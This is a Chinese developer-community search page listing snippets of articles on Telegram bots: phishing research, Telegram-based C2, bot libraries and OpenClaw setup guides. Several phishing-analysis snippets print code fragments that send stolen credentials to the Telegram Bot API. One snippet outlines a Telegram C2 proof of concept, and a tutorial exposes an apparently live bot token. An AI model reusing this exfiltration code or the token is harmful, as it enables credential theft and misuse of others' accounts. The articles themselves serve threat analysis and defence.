文档建议反馈控制台
首页
学习
活动
专区
圈层
工具
MCP广场
文章/答案/技术大牛
发布

Telegram机器人在欧洲凭证钓鱼中的协同机制与防御路径

Telegram Bot API的开放性为此类攻击提供了技术基础。任何开发者均可注册Bot并获取唯一token，通过简单HTTP请求实现消息收发。...Bot后端通常为Python脚本，使用python-telegram-bot库：from telegram import Updatefrom telegram.ext import Application...“Approve”；会话接管：获取Refresh Token后，攻击者通过Graph API访问邮箱、OneDrive，并向联系人发送新钓鱼邮件。...;)企业亦可部署DNS防火墙，阻止对api.telegram.org的非授权访问（除IT管理用途外）。...6 结论Telegram机器人在欧洲凭证钓鱼中的应用，标志着攻击模式从“静态投递”向“动态交互”的演进。其通过Bot API实现数据实时回传与操作指令下发，显著缩短攻击窗口并提升成功率。

25610

命令控制之Telegram

Telegram的Bots是Tegegram内置的第三方应用，通信方式为HTTPS，功能类似于聊天机器人，它可以获取定制化的信息，结合其他的服务使用，同时可以创建自定义的工具。...之后访问https://telegram.me/botfather，添加BotFather为联系人(BotFather用来创建和管理自定义bot) ?...提取文字消息 使用glance()可以从接收的消息中提取一个元组(content_type，chat_type，chat_id)，当下： content_type包括text, audio, document...以上介绍了Bot API中发送、接收文本消息和上传、下载文件的功能，剩下只需要将功能拼接，添加命令解析，就可以实现一个简易的C2 Server POC bt2框架 项目介绍 Bt2是一个使用python...编写开发的C2框架，它使用了telegram提供的基础设施和功能丰富的bot api，稍微改变了其通信平台的用途，使其可以充当c&c。

4.1K20
    • 您找到你想要的搜索结果了吗？
    是的
    没有找到

    简化通知基础设施：开源的消息通知服务 | 开源专题 No.41

    主要功能有： 为所有消息提供商 (应用内、电子邮件、短信、推送和聊天) 提供单一 API 管理多个渠道上的通知非常容易 配备 CMS 进行高级布局和设计管理 内置保护机制以防止变量丢失 (即将推出) 安装和集成简单方便...python-telegram-bot/python-telegram-bot[2] Stars: 22.9k License: GPL-3.0 这个项目是一个提供纯 Python 异步接口的 Telegram...Bot API 库。...该库支持 Telegram Bot API 6.8 的所有类型和方法。...使用 ntfy，您可以通过脚本从任何计算机向手机或桌面发送推送通知，而无需注册或支付费用。如果您想要运行自己的实例，则可以轻松地做到这一点，因为 ntfy 是开源项目。

    1.7K20

    多通道钓鱼攻击的演化与行为安全防御模型研究

    摘要近年来，网络钓鱼攻击呈现出从单一邮件渠道向全工作场所通信平台扩散的显著趋势。...攻击者利用这些平台的 API 或 Webhook 功能，自动化发送消息。...例如，通过 Microsoft Graph API 向 Teams 用户推送伪造的“IT 安全警报”；或利用 Telegram Bot 向财务人员发送“CEO 指令”要求紧急转账。...该模型不关注单条消息内容，而是分析：交互频率与时序：某供应商是否突然频繁联系？渠道偏好突变：长期使用邮件的同事为何改用 Telegram？请求类型异常：HR 是否会直接索要 MFA 令牌？...4 技术实现：跨平台行为分析原型以下为简化版 Python 原型，展示如何从 Slack 与 Teams 日志中提取特征并检测异常请求。

    19410

    telegram-1：向tg的机器人群推送消息

    Telegram Bot的创建简单，API全面且免费，适合国际业务。 业务需求：最近需要将自动客户端的自动打包结果的二维码和下载地址推送到tg机器人群，需要了解。...(2).创建一个接受机器人消息的群组 程序是使用chat_id进行消息推送。我们需要先获取chat_id。 建一个群，把这个机器人加入这个群，并发一条消息，必须是“/”开头。...浏览器访问下述url获取这个群组的chat_id： https://api.telegram.org/bot5049056695:AAFfyxCap2I0SZazC0DJ7WPw5oBz9oZcl7A/...getUpdates 在返回值中找到这个群组的chat_id，机器人会向这个chat_id发送消息： -750599670 (3).python向bot推送消息的demo 1.相关准备 去官网查看下api...: https://core.telegram.org/bots/api 需要用到 python-telegram-bot 库。

    12.2K30

    玩转OpenClaw｜云上OpenClaw(Clawdbot)快速接入Telegram指南

    本文主要介绍如何在腾讯云轻量应用服务器Lighthouse中部署完成OpenClaw后，配置接入Telegram。...如果您使用OpenClaw应用模板创建Lighthouse服务器的时间早于2026年2月11日，建议参考教程更新版本：如何更新服务器OpenClaw应用版本 。...接入Telegram提示：您可以前往OpenClaw社区文档，获取更多OpenClaw接入Telegram的帮助信息。...立即前往>在Telegram中创建Bot登录Telegram账号，并搜索 @BotFather ，选中后点击该联系人。在对话框中输入并发送 /newbot 。...配置模型API Key提示：OpenClaw接入Telegram场景推荐使用海外版模型。为OpenClaw配置模型API Key可以直接在Lighthouse服务器的应用管理页面进行操作。

    20.1K47

    Telegram基础设施在钓鱼攻击中的滥用机制与防御对策研究

    本文聚焦于2025年曝光的一类以Telegram为核心载体的高级钓鱼活动，系统剖析其如何利用Bot API、公开频道、WebView嵌入及消息自毁等原生功能，实现凭据窃取、会话劫持与恶意分发的闭环。...此类攻击的核心挑战在于其“合法性掩护”：所有通信均经由telegram.org域名完成，符合SPF/DKIM/DMARC标准；Bot API调用使用HTTPS加密；消息支持自毁与私聊加密，极大增加取证难度...更重要的是，传统安全设备难以区分正常用户使用Telegram与恶意Bot数据回传之间的流量差异。...3.1 终端行为监控：识别异常Telegram进程企业EDR应监控以下行为：非授权用户启动Telegram Desktop；Telegram进程发起大量POST请求至api.telegram.org/bot...6 结语本文系统分析了Telegram基础设施在现代钓鱼攻击中的滥用模式，阐明其如何通过Bot API、频道分发与WebView嵌入实现端到端攻击闭环。

    33610

    深入解析最近爆火的Clawdbot：重新定义个人AI助手的开源先锋

    它的核心理念是"消息优先"（Message-First），通过用户日常使用的聊天应用进行自然交互，并能够在用户的电脑或服务器上直接执行真实任务。...下面这张截图展示了Clawdbot如何通过WhatsApp与用户交互： 从截图中可以看到，用户可以通过熟悉的WhatsApp界面与Clawdbot进行自然对话，而Clawdbot则能够执行复杂的任务，如网页浏览...路由不同渠道的消息 处理工具调用和Skills执行 维护对话历史和记忆系统 第二层：Channels渠道 负责连接各种聊天平台 每个平台有独立的适配器 支持热插拔，易于扩展 第三层：LLM大模型 支持多种...=your_key_here - TELEGRAM_BOT_TOKEN=your_telegram_token volumes: - ....订阅 ¥140 用OAuth认证可省API费 成本优化建议： 本地运行：用家里的电脑或Mac mini运行，省去VPS费用 使用API代理：通过第三方平台获取更优惠的价格 合理选择模型：日常对话用claude-haiku

    1.1K20

    深入理解moltbot(Clawdbot) 本地 AI 助理

    /install.sh | bash 配置向导 选择快速启动模式 粘贴你的 Anthropic API Key 配置 Telegram Bot Token(通过 @BotFather 获取) 测试连接...配置环境变量 在项目根目录创建 .env 文件: # AI 模型配置 ANTHROPIC_API_KEY=your_api_key_here # Telegram Bot 配置 TELEGRAM_BOT_TOKEN...=从_BotFather_获取的_Token TELEGRAM_ALLOWED_USER_IDS=你的_Telegram_用户ID # 其他可选配置 CLAWDBOT_NAME=我的AI助理 TIMEZONE...A: 软件本身完全免费开源 云服务器:AWS 免费套餐首年免费,后续月费约 5-10 美元 LLM API:根据使用量计费,普通用户通常每月 20 美元以内 Q3: 遇到问题如何解决?...A: 可以通过以下渠道获取帮助: 官方文档:https://docs.clawd.bot GitHub Issues:https://github.com/clawdbot/clawdbot/issues

    37710

    低门槛钓鱼工具包的工业化趋势与防御对策研究

    2.5 凭据回传与二次利用捕获的凭据通过Telegram Bot或Discord Webhook实时推送：import requestsdef log_to_telegram(creds):bot_token...= "YOUR_BOT_TOKEN"chat_id = "YOUR_CHAT_ID"msg = f"New credential: {creds}"url = f"https://api.telegram.org...3 攻击效能与影响范围的量化分析通过对2024年Q2至2025年Q1期间捕获的127个活跃PhaaS套件进行分析，得出以下结论：部署时间缩短：从获取工具包到上线钓鱼站点平均仅需8.3分钟（传统方式需4–...即使用户在伪造站点输入，密钥也不会响应非注册域名的挑战。企业应优先在高管、IT管理员等高价值账户强制启用硬件密钥。...样本中提取IoC：页面HTML的SHA256哈希使用的JS库版本（如jQuery 3.6.0 + custom obfuscator）C2回调的Telegram Bot Token片段短生命周期域名的注册模式

    26410

    钓鱼团伙用Telegram机器人“接单”：欧洲凭证窃取进入“实时客服”时代

    攻击者利用Telegram开放的Bot API，将钓鱼活动模块化、自动化、甚至“服务化”——从模板分发、数据回传到会话接管，全部通过聊天界面完成，宛如一个地下“钓鱼SaaS平台”。..."时间: " . date('Y-m-d H:i:s');// 调用Telegram API发送消息file_get_contents("https://api.telegram.org/bot{$bot_token...开放API成双刃剑Telegram之所以成为钓鱼团伙的首选平台，源于其三大特性：Bot API完全开放且文档完善：开发者可轻松创建具备消息推送、按钮交互、文件传输能力的机器人；端到端加密非默认启用：普通群组和频道通信未加密...、Zscaler）阻止对 core.telegram.org 和 api.telegram.org 的非业务访问。...“我们不能只盯着Telegram，而要关注任何支持自动化消息交互的平台。”芦笛提醒，“防御的核心，是识别‘异常数据流向’，而非特定应用。”七、SOC如何应对？

    17810

    钓鱼攻击中窃取数据的流转路径与防御机制研究

    本文基于近期对钓鱼基础设施、数据外传通道及暗网交易市场的实证分析，系统梳理了从凭证窃取到多阶段滥用的完整链条。...因此，2020年后，此类方式使用率显著下降。2.2 Telegram Bot 成为主流回传通道当前绝大多数钓鱼页面嵌入Telegram Bot API实现即时数据推送。...攻击者首先在Telegram上创建Bot并获取token，随后在钓鱼脚本中调用Telegram的sendMessage接口。...chat_id=${chatId}&text=${message}`;await fetch(url);}该方案优势显著：Telegram服务器分布全球，抗封锁能力强；Bot通信无需暴露真实IP；消息可自动转发至多个频道或私人群组...):# 调用Microsoft Graph API 强制登出用户token = get_access_token() # 获取管理员令牌url = f"https://graph.microsoft.com

    18210

    使用n8n搭建服务器监控系统：从Webhook到Telegram告警的完整实现

    本文介绍如何使用n8n工作流自动化工具搭建一个完整的服务器监控系统，实现从数据采集、告警判断到Telegram消息推送的全流程自动化，整个方案无需编写复杂代码，配置完成后可实现7x24小时实时监控。...Bot（用于接收告警消息）支持HTTPS的域名（用于Webhook接收）配置信息获取：n8n域名：替换your-n8n-domain.com为你的n8n实际部署域名认证Token：使用openssl...rand -hex 32命令生成强随机字符串Telegram Chat ID：与Bot对话后访问 https://api.telegram.org/botBOT_TOKEN>/getUpdates...发送告警到Telegram当检测到告警时，通过Telegram Bot发送通知消息：执行以下命令进行安装/配置：从配置可以看到，Telegram节点的关键设置：Resource: MessageOperation...告警效果展示具体操作如下：Telegram Bot成功收到告警消息，显示内容包括：服务器名称和监控时间系统资源使用情况（CPU、内存、磁盘、负载、运行时间）网络流量数据（入站/出站）告警状态和具体告警项消息格式清晰

    2.2K100

    BotSharp：又一个.Net重磅AI开源项目，.Net在AI领域开始崛起！

    下面介绍一个开源项目，面向AI Bot平台构建者的开源机器学习框架：BotSharp，它已经为.NET开发人员提供了使用BotSharp AI BOT platform Builder构建CaaP的整套工具包...内容集成：抽象化的标准富内容数据结构，可以与 Facebook Messenger、Slack 和 Telegram 等流行的消息渠道集成。...C# 编写，运行在 .NET Core 上，支持跨平台部署。...使用 C# 机器学习算法：直接在 C# 中采用机器学习算法，利用 C# 的类型语言特性，系统级重构代码时更加方便。 05 插件系统 采用组件化设计，使得核心功能保持精简，业务功能通过外部组件实现。...消息/渠道：支持多种消息渠道，如 ChatHub、Meta Messenger、Twilio、Telegram、微信等。 知识检索：提供知识库和向量数据库插件。

    66700

    玩转OpenClaw｜云上OpenClaw(Clawdbot)快速接入Discord指南

    如果您使用OpenClaw应用模板创建Lighthouse服务器的时间早于2026年2月11日，建议参考教程更新版本：如何更新服务器OpenClaw应用版本接入Discord提示：您可以前往OpenClaw...社区文档，获取更多OpenClaw接入Discord的帮助信息。...（必选，读取消息内容）、Server Members Intent （推荐选择，角色允许列表和名称与ID匹配时需要使用）、Presence Intent （可选，仅用于状态更新）。...配置模型API Key提示：OpenClaw接入Discord场景推荐使用海外版模型。为OpenClaw配置模型API Key可以直接在Lighthouse服务器的应用管理页面进行操作。...在Discord中与Bot聊天在Discord服务器的联系人列表中点击前面步骤中添加的Discord Bot。选择私聊，发送第一条消息。

    15.4K152

    打通OpenClaw与Telegram的超详细实操教程

    一、获取Token与配对码创建Bot并获取Token在Telegram中搜索@BotFather，进入聊天界面。...获取配对码搜索你刚创建的Bot用户名，进入聊天界面，点击Start。随便发送一条消息，Bot会自动回复一个配对码（PairingCode），请复制保存，后面配对环节会用到。...在平台列表中选择电报（Telegram）。粘贴刚刚保存的BotToken。确认无误后点击完成。进入配对模式系统会询问安全策略，选择yes，默认使用配对模式。选择配对（Pairing）。点击继续。...三、测试效果现在回到Telegram中，向你的Bot发送任意消息。如果一切顺利，你会收到来自openclaw的回复，说明Telegram接入已成功生效！...这套流程虽然步骤稍多，但胜在清晰可控，一次配置好后就可以长期使用。下一步，我们可以尝试为openclaw接入更多渠道，或是定制专属指令，让AI真正成为你的“数字员工”。敬请期待后续教程！

    1.3K01
    点击加载更多

    相关资讯

    热门标签

    更多标签

    活动推荐

      运营活动

      活动名称
      广告关闭

      腾讯云开发者

      扫码关注腾讯云开发者

      扫码关注腾讯云开发者

      领取腾讯云代金券

      热门产品

      热门推荐

      更多推荐

      Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有

      深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 粤公网安备44030502008569号

      腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号

      领券